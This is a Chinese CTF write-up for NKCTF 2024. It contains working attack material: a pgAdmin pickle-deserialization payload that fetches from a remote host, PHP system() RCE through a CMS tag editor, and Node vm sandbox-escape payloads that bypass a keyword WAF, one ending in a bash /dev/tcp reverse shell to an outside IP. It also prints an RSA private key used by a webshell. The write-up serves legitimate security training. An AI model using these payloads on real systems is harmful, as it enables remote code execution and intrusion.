NKCTF

NKCTF_WP

7 题 1400 分 50/1282 队

0x01 签到

  1. 关注公众号
  2. 发送口令得到 flag

0x02 流量分析

  1. 题目-服务器的返回包翻译
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
//1 whoami
root

//2 应该是ifconfig?
/bin/sh: 1: ipconfig: not found

//3 ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1460
inet 172.22.161.159 netmask 255.255.240.0 broadcast 172.22.175.255
inet6 fe80::215:5dff:fe18:b845 prefixlen 64 scopeid 0x20<link>
ether 00:15:5d:18:b8:45 txqueuelen 1000 (Ethernet)
RX packets 26778 bytes 10199358 (10.1 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1240 bytes 175322 (175.3 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

//4 ls /
Docker
bin
boot
dev
etc
home
init
lib
lib32
lib64
libx32
lost+found
media
mnt
mysql_data
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
wslOHicoG
wslbmJCJF
wslgCJNfE
wslhaGDbD

//5 ls /root
Compressed
Desktop
Documents
Downloads
FLAG
Music
Pictures
Public
Templates
Videos
WSL

//6 ls /root/FLAG
hint.py
小明的日记.txt

//7 cd /root/FLAG
null

//8 cat 小明的日记.txt'
cat: 小明的日记.txt: No such file or directory

//9 cd /root/FLAG && base64 小明的日记.txt'
FLAG is NOT HERE!!!!!!!!!!!
PASSWORD:
Password-based-encryption

//10 cd /root/FLAG && base64 hint.py
import base64

import libnum
from Crypto.PublicKey import RSA

pubkey = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB
-----END PUBLIC KEY-----
"""

prikey = """-----BEGIN PRIVATE KEY-----
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVpxr9geQhUgLX2iGYTlfvfxO3EZs6CIZ5/hu932xTozjaTy8yUI8mnXCgMUM4WgFCmvhjMfhlNHo+z4c/xUQgkwbm6ItA4vF0p3GLjVAgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg==
-----END PRIVATE KEY-----
"""

pubkey = RSA.import_key(pubkey)
prikey = RSA.import_key(prikey)
n = pubkey.n

def enc_replace(base64_str: str):
base64_str = base64_str.replace("/", "e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM")
base64_str = base64_str.replace("+", "n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W")
return base64_str.replace("=", "JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2")

def encrypt(plain_text):
# 小明的日记
cipher_text = b""
for i in range(0, len(plain_text), 128):
part = plain_text[i:i+128]
enc = libnum.n2s(pow(libnum.s2n(part), prikey.d, n))
cipher_text += enc
return enc_replace(base64.b64encode(cipher_text).decode())

if __name__ == '__main__':
m = b"cmd"
print(f"小明的日记: {m}")

c = encrypt(m)
print(f"小明的日记: {c}")

//11 echo U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ== > /root/FLAG/flag.txt
null

//12 ls /root/FLAG
flag.txt
hint.py
小明的日记.txt

//13 echo Good Luck! ByeBye~
Good Luck! ByeBye~
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
b'whoami'
b'ipconfig'
b'ifconfig'
b'ls /'
b'ls /root'
b'ls /root/FLAG'
b'cd /root/FLAG'
b'cat 小明的日记.txt'
b'cd /root/FLAG && base64 小明的日记.txt'
b'cd /root/FLAG && base64 hint.py'
b'echo U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ== > /root/FLAG/flag.txt'
b'ls /root/FLAG'
b'echo Good Luck! ByeBye~'

U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ==
salted_ SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ==

结合password: Password-based-encryption

AES解密得到flag
1
2
3
4
5
6
7
8
9
10
11
12
//这里是部分客户端发送的命令,我已经做了urldecode和字符串替换的工作
//9 url decode
OTEBXOzklq47vCMu+vSDL2h4svC0/oTkLcpmoy0HSto3GoNNT7v86XmkKmXJL0JfzvyZNjgriP7PURYREU35lTsqKxTqvFhm+5+9BksBYFqdnX4HS6MMTyS44ZNjbc+1jlNLvHm+XABbE6xihToCzcCwQPR39dVasnlr2AREUmI=

//10
G1TUg4bIVOFYi8omV2SQrTa8fzYfboRNN7fV6FJ+bm3O74uCUbwMkvRCYae44TX1ZO8X4w2Nk1igaIZjSQIJ9MMHhD9c+SV5EzikNsyM5c1nlPS8uqw1P2pJuYLaLxloK0x5xhQHDqqAxkuKrBzPn0noQ2bD+lVnGwsfP7YP9PY=

//11
co7xLpHsVEAE5l7fsCb7VwK2NiPtkINUh7sNr/Nhh+3RkS5+xa7OyiwyiB8jSnEVIGX2lYKa50q5YI23J5ppkhcohr0ktrcWn91MXrTV0Vq5JW6yPbIt+buBfQXNpYspLKV5Tljge4YWoHDQqiKCYYnPMF7LagcC9fsQffwrMSs=

//12
MHtJ35fx5m9ivoQ+lNuFPx5uX222VNnKK1unlEiItzrWt8/lxF0fw1PosQyCsZaEctarlArKDM/lw6LxXKNp7koEMW3IPya8k71L8t7AoFcH67huo9MdqWnOIwzC4KrGj/rgN+G9DQ8GYZaDFqjl/BmTpbKz7XWXi+gVtbcB2sk=
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// 解码
import base64
from urllib import parse

import libnum
from Crypto.PublicKey import RSA
from FlowAnalyzer import FlowAnalyzer

pubkey = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB
-----END PUBLIC KEY-----
"""

prikey = """-----BEGIN PRIVATE KEY-----
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVpxr9geQhUgLX2iGYTlfvfxO3EZs6CIZ5/hu932xTozjaTy8yUI8mnXCgMUM4WgFCmvhjMfhlNHo+z4c/xUQgkwbm6ItA4vF0p3GLjVAgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg==
-----END PRIVATE KEY-----
"""

pubkey = RSA.import_key(pubkey)
prikey = RSA.import_key(prikey)
n = pubkey.n

jsonPath = FlowAnalyzer.get_json_data("./webshell_pro.pcapng", display_filter="http")

def dec_replace(base64_str: str):
base64_str = base64_str.replace("e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM", "/")
base64_str = base64_str.replace("n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W", "+")
return base64_str.replace("JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2", "=").encode()

def decrypt(cipher_text):
# 公钥解密
cipher_text = base64.b64decode(dec_replace(cipher_text))
plain_text = b""
for i in range(0, len(cipher_text), 128):
part = cipher_text[i:i+128]
dec = libnum.n2s(pow(libnum.s2n(part), pubkey.e, n))
plain_text += dec
return plain_text.decode()

for request, response in FlowAnalyzer(jsonPath).generate_http_dict_pairs():
if request:
file_data = parse.parse_qs(request.file_data)[b'shell'][0]
print(decrypt(file_data.decode()))

Counters provided by dumpcap

0x03 web CMS

  1. 看 freebuf 可能是 sql 也有回显 ,但是引号注释不了 sql 注入没成功
  2. disearch 扫出来了/admin/login.php 经过验证 username 应该是 admin
  3. cookie CMSSESSID31d94f9b7166=t27f9a2n5ef9k02nlbmvtlt903 (不确定是不是 admin 的)
  4. 以及在题目隐藏信息里面说是检查 ip(实际并没有??
  5. 补充:
  6. passwd 是 Admin123 网上找的那个 sb 字典只有一个 admin123 结果没做出来 吐了
  7. Extensions - - > User Defined Tags 进去之后 RCE
1
2
3
<?php echo system('id'); ?>

<?php echo system('/readflag'); ?>

或者按 wp

1
system('/readflag');

0x04 web attack_tacooooo

tacooooo@qq.com/tacooooo : tacooooo

CVE 复现 (附

CVE

  1. 根据 cve 的 payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import struct
import sys

def produce_pickle_bytes(platform, cmd):
b = b'\\x80\\x04\\x95'
b += struct.pack('L', 22 + *len*(platform) + *len*(cmd))
b += b'\\x8c' + struct.pack('b', *len*(platform)) + platform.encode()
b += b'\\x94\\x8c\\x06system\\x94\\x93\\x94'
b += b'\\x8c' + struct.pack('b', *len*(cmd)) + cmd.encode()
b += b'\\x94\\x85\\x94R\\x94.'
*print*(b)
return b

if __name__ == '__main__':
if *len*(sys.argv) != 2:
exit(f"usage: {sys.argv[0]} ip:port")
with *open*('nt.pickle', 'wb') as f:
f.write(produce_pickle_bytes('nt', f"mshta.exe http://{HOST}/"))
with *open*('posix.pickle', 'wb') as f:
f.write(produce_pickle_bytes('posix', f"curl http://{HOST}/"))
  1. (nc linux)上传之后,接下来要换 cookie 为绝对路径pga4_session=/var/lib/pgadmin/storage/tacooooo_qq.com/posix.pickle!a
  2. 反弹得到 shell
  3. flag 在 /proc/1/environ 的环境变量里面(官方 wp 给的是crontab -e,在隐藏计划任务里面)

0x05 web 全世界最简单的 CTF

vm 沙箱逃逸 + 反射获取 process + 变量污染

crtl+u

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
//初始化Express应用:
const express = require("express");
const app = express();
//这里首先引入了express模块,并创建了一个新的Express应用实例。

//配置中间件
const bodyParser = require("body-parser");
app.use(bodyParser.json());
//使用body-parser中间件来解析JSON格式的请求体。

//设置视图和静态文件目录:
app
.set("views", path.join(__dirname, "views"))
.use(express.static(path.join(__dirname, "/public")));
//设置视图文件的目录和静态文件的目录。

//处理GET请求:

app.get("/", function (req, res) {
res.sendFile(__dirname + "/public/home.html");
});
//当用户访问根路径/时,发送public目录下的home.html文件。

//编写WAF函数:
function waf(code) {
let pattern =
/(process|$$.*?$$|exec|spawn|Buffer|\\\\|\\+|concat|eval|Function)/g;
if (code.match(pattern)) {
throw new Error("what can I say? hacker out!!");
}
}
//这是一个简单的Web应用防火墙(WAF)函数,用于检测传入的代码中是否包含潜在的危险关键词,如果包含,则抛出错误。

//处理POST请求:
app.post("/", function (req, res) {
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code);
let result = vm.runInContext(code, context);
console.log(result);
} catch (e) {
console.log(e.message);
require("./hack");
}
});
//当用户通过POST请求发送代码时,首先使用WAF函数检查代码安全性。如果代码安全,它将在一个沙箱环境中执行,以防止潜在的安全风险。如果执行过程中出现错误,将记录错误信息并调用hack模块(这个模块的功能未在代码中给出)。

//处理对秘密文件的请求:
app.get("/secret", function (req, res) {
if (process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
});
//这个路由处理对/secret路径的GET请求。它检查process.__filename属性是否存在,如果不存在(通常意味着代码是直接运行的,而不是通过node命令),则读取当前文件的内容并发送。如果存在,则读取process.__filename指定的文件内容并发送。

//启动服务器:
app.listen(3000, () => {
console.log("listen on 3000");
});
//最后,应用程序在3000端口上启动,并在控制台输出“listen on 3000”。

是一个 vm 沙箱,this 为 null,还要借助异常处理

沙箱逃逸的原理与目标

逃逸的意思就是从沙箱这个封闭的环境中逃出来,终极目标是获取全局对象 global 的全局变量 process,因为有了 process 我们就可以在 nodejs 中进行命令执行,具体语句如下:

process.mainModule.require('child_process').execSync('whoami').toString()

异常处理

this 为 null,函数不自动调用,属性也不访问,通过抛出异常并捕获来获取(思想很重要)

vm2 实现原理分析-安全客 - 安全资讯平台 (anquanke.com)

try-catch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const vm = require("vm");

const script = `
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
`;
try {
vm.runInContext(script, vm.createContext(Object.create(null)));
} catch (e) {
console.log("error:" + e);
}

/secret 路由存在文件读取,如果我们能够控制process.__filename的值就能实现任意读

waf

ban 了中括号和加号,不能用拼接绕过

ban 了 eval;ban 了\\,不能用十六进制和 unicode

Answer 1 任意文件读取 process

利用任意文件读取 process

NKCTF 2024 Web WriteUp-CSDN 博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
// 模板 - from pazuirs
throw new Proxy(
{},
{
get: function () {
const cc = arguments.callee.caller;
const p = cc.constructor.constructor("return process")();
return p.mainModule
.require("child_process")
.execSync("whoami")
.toString();
},
}
);

// payload
throw new Proxy(
{},
{
get: function () {
// 获取当前正在执行的函数的调用者
const c = arguments.callee.caller;
// Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')))
// Reflect.ownKeys(global).find( x=>x.includes('pro') ) --> process 绕过中括号
const p = c.constructor.constructor(
"return Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')))"
)();
return (p.__filename = "/etc/passwd");
},
}
);

// 可以访问/secret 但是进不了/flag (权限不够)
// 读/app/shell.js
console.log("shell.js");
console.log("shell");
const p = require("child_process");
p.execSync(process.env.command);
/*
首先是打印语句,然后是使用child_process模块来执行一个由环境变量command指定的命令。

console.log("shell");
这行代码使用console.log函数在控制台输出字符串"shell"
这是一个简单的打印操作,用于输出信息到控制台,让开发者或用户知道程序正在运行或者已经到达某个执行点。

const p = require('child_process');
这行代码使用require函数来加载Node.js的child_process模块,并将其赋值给变量p。child_process模块允许你启动和控制子进程,以及与这些子进程进行通信。
这是Node.js中用于执行外部命令和程序的常用方法。

p.execSync(process.env.command);
这行代码调用child_process模块的execSync函数来同步执行一个命令。execSync函数接受一个命令字符串作为参数,并在子进程中执行它。
命令字符串是通过process.env.command获取的,这里process.env是一个包含所有环境变量的对象,command是这个对象的一个属性,它期望在执行这段代码之前已经被设置为一个有效的命令字符串。
execSync函数会阻塞当前进程,直到命令执行完成。
这意味着Node.js主进程会等待命令执行完毕后才继续执行后面的代码。
如果命令执行成功,execSync会返回命令的输出结果;如果命令执行失败,则会抛出一个错误。
*/
// 污染process.env.command弹shell

// final payload
throw new Proxy(
{},
{
get: function () {
const c = arguments.callee.caller;
const p = c.constructor.constructor(
"return Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')))"
)();
p.env.command = "bash -c 'bash -i >& /dev/tcp/123.123.123.123/8080 <&1'";
return p.mainModule.require("./shell");
},
}
);

// 才知道谈计算器是这么个弹法 笑死

/*
这段代码是一个bash命令,用于在Linux或类Unix系统中执行一个反向shell。
这个命令通过创建一个bash会话,并将其输出和输入重定向到一个TCP端口,从而允许远程主机通过该端口与当前系统交互。下面是对这个命令的详细解释:

bash -c: 这个部分表示使用bash shell来执行后面的命令字符串。-c选项允许你传递一个命令字符串作为参数。

'bash -i >& /dev/tcp/115.236.153.172/4282 <&1': 这是传递给bash -c的命令字符串。

bash -i: 这个命令启动一个新的bash会话,并启用交互模式(-i选项)。这通常用于登录shell。
>&: 这是一个重定向操作符,用于将标准输出(stdout)和标准错误(stderr)重定向到某个地方。
/dev/tcp/123.123.123.123/8080: 这是远程主机的IP地址和端口号。/dev/tcp是一个特殊的文件,它允许你创建一个TCP连接到指定的IP地址和端口。
<&1: 这是一个输入重定向操作符,它将标准输入(stdin)重定向到某个地方。1表示标准输出的位置,这意味着bash -i的输出将被用作输入,创建一个反向shell连接。

综上所述,这个命令的作用是在当前系统上创建一个bash会话,并将这个会话的输入和输出通过TCP连接重定向到远程主机的指定IP地址和端口
这样,远程主机就可以通过这个TCP连接与当前系统进行交互,就像直接在系统上操作一样。

*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
c.constructor.constructor
这里c指的是当前正在执行的函数,callee是arguments对象的一个属性,它指向当前正在执行的函数。
c.constructor获取的是这个函数的构造函数,也就是用来创建这个函数的函数。
在这个例子中,由于c是通过Function构造函数创建的,
所以c.constructor就是Function
然后,c.constructor.constructor实际上是再次使用Function构造函数来创建一个新的函数。
这是通过将一个字符串作为参数传递给Function构造函数来实现的,这个字符串定义了新函数的源代码

"return Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')))"
这是一个字符串,它定义了新创建的函数的源代码。这个源代码是一个返回语句,
它尝试从全局对象(在浏览器中是window对象,在Node.js中是global对象)中获取一个属性。
Reflect.get是一个函数,它类似于点操作符.,但允许更精细的控制和返回更详细的错误信息。
在这里,它被用来获取global对象的一个属性。
Reflect.ownKeys(global)返回global对象所有自有属性的数组。
find方法在这个数组上被调用,以查找第一个名字包含字符'pro'的属性名。

(p = (c.constructor.constructor("return Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')))"))())
这行代码实际上创建了一个新的函数,这个函数尝试获取global对象的一个包含'pro'的属性名的属性值。
然后,这个新创建的函数被赋值给变量p,并且立即执行了。

laogong 的解法

replace 把 process 和 execSync 绕出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
throw new Proxy(
{},
{
get: function () {
const cc = arguments.callee.caller;
const p = cc.constructor.constructor(
"return procBess".replace("B", "")
)();
const obj = p.mainModule.require("child_procBess".replace("B", ""));
const ex = Object.getOwnPropertyDescriptor(
obj,
"exeicSync".replace("i", "")
);
return ex.value("whoami").toString();
// ex.value('ls').toString();
// ex.value('cd ./readflag').toString();
},
}
);

Answer 2 原型链污染

结合 Answer1 这个舒服多了 cao

深入了解 JavaScript 原型链污染 (gitee.io)

misc-ctf80

很有意思的一道题,同一个代码利用不同的注释 实现了在不同编译环境下的运行!

#/*tanji是 hint 好可惜想了很久就差一步

wp 来自雷师傅 tql

1
2
3

#!/bin/bash echo -e "这天在NKCTF2024命题组的群里,发起了一场有趣的讨论:什么是世界上最好的语言?\n" echo -e "Cain从高中开始学习算法竞赛,喜欢C++,它优雅而高效\n" echo -e "crazyman觉得古老的C语言才是万物之本\n" echo -e "探姬觉得,哦不,是认同PHP是世界上最好的语言\n" echo -e "天天直播HTB的巨魔,当然力荐构建了MSF的ruby\n" echo -e "喜欢密码学的rec自然离不开python\n" echo -e "“那我们来出一道题目让选手提交文件!让大家决定到底什么是最好的语言!”\n" echo -e "可是flag的发放要经过大家全票同意,从他们“永不服输”的脸上,可以预料到,只要你不能让大家都满意,那就没办法得到flag\n" echo "请输入 Base64 编码后的源文件:" read -p "" input_string decoded_code = $(echo "$input_string" | base64 -d) echo "$decoded_code" > srccode #Initiating SandBox #-------------------------------- #---------不给你看!----------- #-------------------------------- #Run in SandBox #-------------------------------- #---------不给你看!----------- #-------------------------------- # "$output" = "Cain" if [ "$output" != "Cain" ]; then echo "Cain生气了!他拒绝给你flag!" exit 1 fi #Run in SandBox #-------------------------------- #---------不给你看!----------- #-------------------------------- if [ "$output" != "crazyman" ]; then echo "crazyman似乎不是很高兴,他否决了你的flag申请。" exit 1 fi #Run in SandBox #-------------------------------- #---------不给你看!----------- #-------------------------------- if [ "$output" != "#/*tanji" ]; then echo "探姬失望的摇了摇头,回房间脱掉了刚刚穿好的女装。" exit 1 fi #Run in SandBox #-------------------------------- #---------不给你看!----------- #-------------------------------- if [ "$output" != "Randark_JMT" ]; then echo "巨魔没有关掉他的直播,他还在学习!" exit 1 fi #Run in SandBox #-------------------------------- #---------不给你看!----------- #-------------------------------- if [ "$output" != "rec" ]; then echo "rec似乎是不小心的按下了否决按钮,“呀!真不好意思”" exit 1 fi flag_value=$FLAG echo "真是一个职场圣体啊!不去考公务员可惜了(bushi" echo "FLAG在这里: $flag_value" # decoded_code = $(echo "$input_string" | base64 -d) # echo "$decoded_code" > srccode # # decoded_code = $(echo "Cain") " | base64 -d) # echo "$decoded_code" > srccode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#/*<?php die("tanji"); ?>

"""
"
puts "Randark_JMT"

=begin

"""

print('rec')

"""

*/

#include <stdio.h>

int main() {
#ifdef __cplusplus
    printf("Cain");
#else
    printf("crazyman");
#endif
}

/*
=end
# """ # */